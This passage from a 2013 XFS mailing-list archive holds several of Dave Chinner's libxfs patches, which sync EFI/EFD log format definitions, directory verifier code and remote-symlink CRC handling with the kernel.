xfs_efi_log_format_64_t; - -/* - * This is the structure used to lay out an efd log item in the - * log. The efd_extents array is a variable size array whose - * size is given by efd_nextents; - */ -typedef struct xfs_efd_log_format { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_t; - -typedef struct xfs_efd_log_format_32 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_32_t efd_extents[1]; /* array of extents freed */ -} __attribute__((packed)) xfs_efd_log_format_32_t; - -typedef struct xfs_efd_log_format_64 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_64_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_64_t; - - -#ifdef __KERNEL__ - -/* - * Max number of extents in fast allocation path. - */ -#define XFS_EFI_MAX_FAST_EXTENTS 16 - -/* - * Define EFI flag bits. Manipulated by set/clear/test_bit operators. - */ -#define XFS_EFI_RECOVERED 1 -#define XFS_EFI_COMMITTED 2 - -/* - * This is the "extent free intention" log item. It is used - * to log the fact that some extents need to be free. It is - * used in conjunction with the "extent free done" log item - * described below. - */ -typedef struct xfs_efi_log_item { - xfs_log_item_t efi_item; - atomic_t efi_next_extent; - unsigned long efi_flags; /* misc flags */ - xfs_efi_log_format_t efi_format; -} xfs_efi_log_item_t; - -/* - * This is the "extent free done" log item. It is used to log - * the fact that some extents earlier mentioned in an efi item - * have been freed. - */ -typedef struct xfs_efd_log_item { - xfs_log_item_t efd_item; - xfs_efi_log_item_t *efd_efip; - uint efd_next_extent; - xfs_efd_log_format_t efd_format; -} xfs_efd_log_item_t; - -/* - * Max number of extents in fast allocation path. - */ -#define XFS_EFD_MAX_FAST_EXTENTS 16 - -extern struct kmem_zone *xfs_efi_zone; -extern struct kmem_zone *xfs_efd_zone; - -xfs_efi_log_item_t *xfs_efi_init(struct xfs_mount *, uint); -xfs_efd_log_item_t *xfs_efd_init(struct xfs_mount *, xfs_efi_log_item_t *, - uint); -int xfs_efi_copy_format(xfs_log_iovec_t *buf, - xfs_efi_log_format_t *dst_efi_fmt); -void xfs_efi_item_free(xfs_efi_log_item_t *); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_EXTFREE_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 77a6024..d1e93d3 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -461,4 +461,87 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; } +/* + * EFI/EFD log format definitions + */ +typedef struct xfs_extent { + xfs_dfsbno_t ext_start; + xfs_extlen_t ext_len; +} xfs_extent_t; + +/* + * Since an xfs_extent_t has types (start:64, len: 32) + * there are different alignments on 32 bit and 64 bit kernels. + * So we provide the different variants for use by a + * conversion routine. + */ +typedef struct xfs_extent_32 { + __uint64_t ext_start; + __uint32_t ext_len; +} __attribute__((packed)) xfs_extent_32_t; + +typedef struct xfs_extent_64 { + __uint64_t ext_start; + __uint32_t ext_len; + __uint32_t ext_pad; +} xfs_extent_64_t; + +/* + * This is the structure used to lay out an efi log item in the + * log. The efi_extents field is a variable size array whose + * size is given by efi_nextents. + */ +typedef struct xfs_efi_log_format { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_t; + +typedef struct xfs_efi_log_format_32 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_32_t efi_extents[1]; /* array of extents to free */ +} __attribute__((packed)) xfs_efi_log_format_32_t; + +typedef struct xfs_efi_log_format_64 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_64_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_64_t; + +/* + * This is the structure used to lay out an efd log item in the + * log. The efd_extents array is a variable size array whose + * size is given by efd_nextents; + */ +typedef struct xfs_efd_log_format { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_t; + +typedef struct xfs_efd_log_format_32 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_32_t efd_extents[1]; /* array of extents freed */ +} __attribute__((packed)) xfs_efd_log_format_32_t; + +typedef struct xfs_efd_log_format_64 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_64_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_64_t; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4979F29E02 for ; Wed, 4 Sep 2013 17:21:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 39C708F8033 for ; Wed, 4 Sep 2013 15:21:27 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id XbpSjVsC4DWBLEs6 for ; Wed, 04 Sep 2013 15:21:25 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgQRAKexJ1J5LJ62/2dsb2JhbABbgwc1rVoDP5UhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDmSSQN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cz-Lt for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rv-Ks for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/55] libxfs: sync dir2 kernel differences Date: Thu, 5 Sep 2013 08:05:14 +1000 X-ASG-Orig-Subj: [PATCH 10/55] libxfs: sync dir2 kernel differences Message-Id: <1378332359-14737-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333284 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_dir2.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_dir2_data.c | 20 ++++++++++---------- libxfs/xfs_dir2_leaf.c | 4 ++-- libxfs/xfs_dir2_node.c | 26 ++++++++++++-------------- 4 files changed, 69 insertions(+), 26 deletions(-) diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 6a4027f..830fe3e 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -392,6 +392,51 @@ xfs_dir_replace( } /* + * See if this entry can be added to the directory without allocating space. + * First checks that the caller couldn't reserve enough space (resblks = 0). + */ +int +xfs_dir_canenter( + xfs_trans_t *tp, + xfs_inode_t *dp, + struct xfs_name *name, /* name of entry to add */ + uint resblks) +{ + xfs_da_args_t args; + int rval; + int v; /* type-checking value */ + + if (resblks) + return 0; + + ASSERT(S_ISDIR(dp->i_d.di_mode)); + + memset(&args, 0, sizeof(xfs_da_args_t)); + args.name = name->name; + args.namelen = name->len; + args.hashval = dp->i_mount->m_dirnameops->hashname(name); + args.dp = dp; + args.whichfork = XFS_DATA_FORK; + args.trans = tp; + args.op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | + XFS_DA_OP_OKNOENT; + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) + rval = xfs_dir2_sf_addname(&args); + else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + return rval; + else if (v) + rval = xfs_dir2_block_addname(&args); + else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + return rval; + else if (v) + rval = xfs_dir2_leaf_addname(&args); + else + rval = xfs_dir2_node_addname(&args); + return rval; +} + +/* * Utility routines. */ diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 155352c..064ddb2 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -53,15 +53,15 @@ __xfs_dir3_data_check( bf = xfs_dir3_data_bestfree_p(hdr); p = (char *)xfs_dir3_data_entry_p(hdr); - switch (be32_to_cpu(hdr->magic)) { - case XFS_DIR2_BLOCK_MAGIC: - case XFS_DIR3_BLOCK_MAGIC: + switch (hdr->magic) { + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): + case cpu_to_be32(XFS_DIR2_BLOCK_MAGIC): btp = xfs_dir2_block_tail_p(mp, hdr); lep = xfs_dir2_block_leaf_p(btp); endp = (char *)lep; break; - case XFS_DIR2_DATA_MAGIC: - case XFS_DIR3_DATA_MAGIC: + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): + case cpu_to_be32(XFS_DIR2_DATA_MAGIC): endp = (char *)hdr + mp->m_dirblksize; break; default: @@ -209,14 +209,14 @@ xfs_dir3_data_reada_verify( struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; - switch (be32_to_cpu(hdr->magic)) { - case XFS_DIR2_BLOCK_MAGIC: - case XFS_DIR3_BLOCK_MAGIC: + switch (hdr->magic) { + case cpu_to_be32(XFS_DIR2_BLOCK_MAGIC): + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): bp->b_ops = &xfs_dir3_block_buf_ops; bp->b_ops->verify_read(bp); return; - case XFS_DIR2_DATA_MAGIC: - case XFS_DIR3_DATA_MAGIC: + case cpu_to_be32(XFS_DIR2_DATA_MAGIC): + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): xfs_dir3_data_verify(bp); return; default: diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index a287bb1..8c20b9e 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -247,14 +247,14 @@ xfs_dir3_leaf1_write_verify( __write_verify(bp, XFS_DIR2_LEAF1_MAGIC); } -void +static void xfs_dir3_leafn_read_verify( struct xfs_buf *bp) { __read_verify(bp, XFS_DIR2_LEAFN_MAGIC); } -void +static void xfs_dir3_leafn_write_verify( struct xfs_buf *bp) { diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index f819776..fea0131 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -257,7 +257,6 @@ xfs_dir3_free_get_buf( hdr3->hdr.blkno = cpu_to_be64(bp->b_bn); hdr3->hdr.owner = cpu_to_be64(dp->i_ino); uuid_copy(&hdr3->hdr.uuid, &mp->m_sb.sb_uuid); - } else hdr.magic = XFS_DIR2_FREE_MAGIC; xfs_dir3_free_hdr_to_disk(bp->b_addr, &hdr); @@ -978,7 +977,7 @@ xfs_dir2_leafn_rebalance( xfs_dir2_leaf_t *leaf1; /* first leaf structure */ xfs_dir2_leaf_t *leaf2; /* second leaf structure */ int mid; /* midpoint leaf index */ -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) int oldstale; /* old count of stale leaves */ #endif int oldsum; /* old total leaf count */ @@ -1007,7 +1006,7 @@ xfs_dir2_leafn_rebalance( ents2 = xfs_dir3_leaf_ents_p(leaf2); oldsum = hdr1.count + hdr2.count; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) oldstale = hdr1.stale + hdr2.stale; #endif mid = oldsum >> 1; @@ -1101,7 +1100,6 @@ xfs_dir3_data_block_free( __be16 *bests; struct xfs_dir3_icfree_hdr freehdr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); bests = xfs_dir3_free_bests_p(tp->t_mountp, free); @@ -1115,12 +1113,14 @@ xfs_dir3_data_block_free( return 0; } - /* - * One less used entry in the free table. Unused is not converted - * because we only need to know if it zero - */ + /* One less used entry in the free table. */ freehdr.nused--; + /* + * If this was the last entry in the table, we can trim the table size + * back. There might be other entries at the end referring to + * non-existent data blocks, get those too. + */ if (findex == freehdr.nvalid - 1) { int i; /* free entry index */ @@ -1159,7 +1159,6 @@ xfs_dir3_data_block_free( */ } - /* Log the free entry that changed, unless we got rid of it. */ if (logfree) xfs_dir2_free_log_bests(tp, fbp, findex, findex); @@ -1275,9 +1274,8 @@ xfs_dir2_leafn_remove( { struct xfs_dir3_icfree_hdr freehdr; xfs_dir3_free_hdr_from_disk(&freehdr, free); - ASSERT(freehdr.firstdb == - xfs_dir3_free_max_bests(mp) * - (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); + ASSERT(freehdr.firstdb == xfs_dir3_free_max_bests(mp) * + (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); } #endif /* @@ -1425,7 +1423,7 @@ xfs_dir2_leafn_toosmall( leaf = blk->bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); ents = xfs_dir3_leaf_ents_p(leaf); - xfs_dir3_leaf_check(mp, blk->bp); + xfs_dir3_leaf_check(state->args->dp->i_mount, blk->bp); count = leafhdr.count - leafhdr.stale; bytes = xfs_dir3_leaf_hdr_size(leaf) + count * sizeof(ents[0]); @@ -1863,7 +1861,7 @@ xfs_dir2_node_addname_int( * If there wasn't a freespace block, the read will * return a NULL fbp. Allocate and initialize a new one. */ - if(!fbp) { + if (!fbp) { error = xfs_dir2_grow_inode(args, XFS_DIR2_FREE_SPACE, &fbno); if (error) -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C50C229E0E for ; Wed, 4 Sep 2013 17:21:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5A9A304048 for ; Wed, 4 Sep 2013 15:21:27 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id cG48IL8zxUAjaFbg for ; Wed, 04 Sep 2013 15:21:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:22 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dB-Pd for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sK-Oa for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 15/55] libxfs: local to remote format support of remote symlinks Date: Thu, 5 Sep 2013 08:05:19 +1000 X-ASG-Orig-Subj: [PATCH 15/55] libxfs: local to remote format support of remote symlinks Message-Id: <1378332359-14737-16-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333285 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This conversion was overlooked earlier on. Now that the differences between userspace and kernel space are getting smaller this bug is obvious. Fix it. Signed-off-by: Dave Chinner --- include/xfs_symlink.h | 2 ++ libxfs/xfs_bmap.c | 12 ------------ libxfs/xfs_symlink.c | 29 +++++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 12 deletions(-) diff --git a/include/xfs_symlink.h b/include/xfs_symlink.h index 55f3f2d..e85dfd1 100644 --- a/include/xfs_symlink.h +++ b/include/xfs_symlink.h @@ -31,6 +31,8 @@ struct xfs_dsymlink_hdr { int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); extern const struct xfs_buf_ops xfs_symlink_buf_ops; diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 5234674..ce72b87 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1221,18 +1221,6 @@ xfs_bmap_add_attrfork_extents( return error; } -STATIC void -xfs_symlink_local_to_remote( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - /* remote symlink blocks are not verifiable until CRCs come along */ - bp->b_ops = NULL; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); -} - /* * Called from xfs_bmap_add_attrfork to handle local format files. Each * different data fork content type needs a different callout to do the diff --git a/libxfs/xfs_symlink.c b/libxfs/xfs_symlink.c index 860b123..f2e69f9 100644 --- a/libxfs/xfs_symlink.c +++ b/libxfs/xfs_symlink.c @@ -145,3 +145,32 @@ const struct xfs_buf_ops xfs_symlink_buf_ops = { .verify_write = xfs_symlink_write_verify, }; +void +xfs_symlink_local_to_remote( + struct xfs_trans *tp, + struct xfs_buf *bp, + struct xfs_inode *ip, + struct xfs_ifork *ifp) +{ + struct xfs_mount *mp = ip->i_mount; + char *buf; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) { + bp->b_ops = NULL; + memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); + return; + } + + /* + * As this symlink fits in an inode literal area, it must also fit in + * the smallest buffer the filesystem supports. + */ + ASSERT(BBTOB(bp->b_length) >= + ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); + + bp->b_ops = &xfs_symlink_buf_ops; + + buf = bp->b_addr; + buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); + memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); +} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CB4EE29DFC for ; Wed, 4 Sep 2013 17:21:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BA61D8F8033 for ; Wed, 4 Sep 2013 15:21:28 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pzfbr47RWpRsGTEh for ; Wed, 04 Sep 2013 15:21:27 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaPfYQHA6IkhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:24 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007e0-7v for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uB-7G for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 38/55] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Date: Thu, 5 Sep 2013 08:05:42 +1000 X-ASG-Orig-Subj: [PATCH 38/55] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Message-Id: <1378332359-14737-39-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333287 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's actually an ifndef section, which means it is only included in userspace. however, it's deep within the libxfs code, so it's unlikely that the condition checked in userspace can actually occur (search an empty leaf) through the libxfs interfaces. i.e. if it can happen in usrspace, it can happen in the kernel, so remove it from userspace too.... Signed-off-by: Dave Chinner --- libxfs/xfs_dir2_leaf.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 8c20b9e..55b7d05 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -1568,10 +1568,6 @@ xfs_dir2_leaf_search_hash( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); -#ifndef __KERNEL__ - if (!leafhdr.count) - return 0; -#endif /* * Note, the table cannot be empty, so we have to go through the loop. * Binary search the leaf entries looking for our hash value. -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 09ABF29E11 for ; Wed, 4 Sep 2013 17:21:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E0338304048 for ; Wed, 4 Sep 2013 15:21:27 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id WGvUNYihrgC5tDUm for ; Wed, 04 Sep 2013 15:21:25 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaUBAOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:22 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dZ-UN for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003st-Tc for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 22/55] xfs: split out on-disk transaction definitions Date: Thu, 5 Sep 2013 08:05:26 +1000 X-ASG-Orig-Subj: [PATCH 22/55] xfs: split out on-disk transaction definitions Message-Id: <1378332359-14737-23-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333285 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There's a bunch of definitions in xfs_trans.h that define on-disk formats - transaction headers taht get written into the log, log item type definitions, etc. Split out everything into a separate file so that all which remains in xfs_trans.h are kernel only definitions. Signed-off-by: Dave Chinner --- include/xfs_log_format.h | 207 +++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_trans.h | 207 +---------------------------------------------- 2 files changed, 208 insertions(+), 206 deletions(-) diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 51d4932..13a0734 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -187,6 +187,213 @@ typedef struct xfs_log_iovec { /* + * Transaction Header definitions. + * + * This is the structure written in the log at the head of every transaction. It + * identifies the type and id of the transaction, and contains the number of + * items logged by the transaction so we know how many to expect during + * recovery. + * + * Do not change the below structure without redoing the code in + * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). + */ +typedef struct xfs_trans_header { + uint th_magic; /* magic number */ + uint th_type; /* transaction type */ + __int32_t th_tid; /* transaction id (unused) */ + 